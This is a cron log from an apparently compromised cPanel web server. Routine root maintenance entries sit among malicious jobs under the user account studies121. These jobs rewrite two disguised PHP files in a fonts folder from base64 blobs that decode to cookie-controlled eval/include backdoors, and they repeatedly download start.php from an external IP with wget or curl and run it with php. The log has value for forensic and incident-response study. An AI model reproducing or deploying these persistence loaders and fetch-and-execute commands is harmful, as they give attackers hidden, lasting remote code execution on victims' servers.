Sep  2 03:09:01 ip-184-168-122-23 CROND[816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:09:01 ip-184-168-122-23 CROND[817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:09:01 ip-184-168-122-23 CROND[818]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 03:09:01 ip-184-168-122-23 CROND[819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:09:01 ip-184-168-122-23 CROND[821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:10:01 ip-184-168-122-23 CROND[994]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:10:01 ip-184-168-122-23 CROND[997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:10:01 ip-184-168-122-23 CROND[998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:10:01 ip-184-168-122-23 CROND[1002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:10:01 ip-184-168-122-23 CROND[1005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:10:01 ip-184-168-122-23 CROND[1007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:10:01 ip-184-168-122-23 CROND[1008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:10:01 ip-184-168-122-23 CROND[1011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:11:01 ip-184-168-122-23 CROND[1106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:11:01 ip-184-168-122-23 CROND[1108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:11:01 ip-184-168-122-23 CROND[1110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:11:01 ip-184-168-122-23 CROND[1113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:12:01 ip-184-168-122-23 CROND[1186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:12:01 ip-184-168-122-23 CROND[1187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:12:01 ip-184-168-122-23 CROND[1190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:12:01 ip-184-168-122-23 CROND[1191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:12:01 ip-184-168-122-23 CROND[1192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:13:01 ip-184-168-122-23 CROND[1313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:13:01 ip-184-168-122-23 CROND[1315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:13:01 ip-184-168-122-23 CROND[1317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:13:01 ip-184-168-122-23 CROND[1316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:14:01 ip-184-168-122-23 CROND[1398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:14:01 ip-184-168-122-23 CROND[1399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:14:01 ip-184-168-122-23 CROND[1400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:14:01 ip-184-168-122-23 CROND[1416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:14:01 ip-184-168-122-23 CROND[1432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:15:01 ip-184-168-122-23 CROND[1535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:15:01 ip-184-168-122-23 CROND[1538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:15:01 ip-184-168-122-23 CROND[1540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:15:01 ip-184-168-122-23 CROND[1542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:15:01 ip-184-168-122-23 CROND[1543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:15:02 ip-184-168-122-23 CROND[1544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:16:01 ip-184-168-122-23 CROND[1728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:16:01 ip-184-168-122-23 CROND[1730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:16:01 ip-184-168-122-23 CROND[1732]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 03:16:01 ip-184-168-122-23 CROND[1734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:16:01 ip-184-168-122-23 CROND[1736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:16:01 ip-184-168-122-23 CROND[1737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:17:01 ip-184-168-122-23 CROND[1843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:17:01 ip-184-168-122-23 CROND[1846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:17:01 ip-184-168-122-23 CROND[1847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:17:01 ip-184-168-122-23 CROND[1845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:18:01 ip-184-168-122-23 CROND[1923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:18:01 ip-184-168-122-23 CROND[1926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:18:01 ip-184-168-122-23 CROND[1927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:18:01 ip-184-168-122-23 CROND[1925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:18:01 ip-184-168-122-23 CROND[1928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:19:01 ip-184-168-122-23 CROND[2023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:19:01 ip-184-168-122-23 CROND[2027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:19:01 ip-184-168-122-23 CROND[2025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:19:01 ip-184-168-122-23 CROND[2026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:20:01 ip-184-168-122-23 CROND[2133]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:20:01 ip-184-168-122-23 CROND[2134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:20:01 ip-184-168-122-23 CROND[2135]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 03:20:01 ip-184-168-122-23 CROND[2139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:20:01 ip-184-168-122-23 CROND[2141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:20:01 ip-184-168-122-23 CROND[2142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:20:01 ip-184-168-122-23 CROND[2143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:20:01 ip-184-168-122-23 CROND[2145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:20:01 ip-184-168-122-23 CROND[2146]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:21:01 ip-184-168-122-23 CROND[2324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
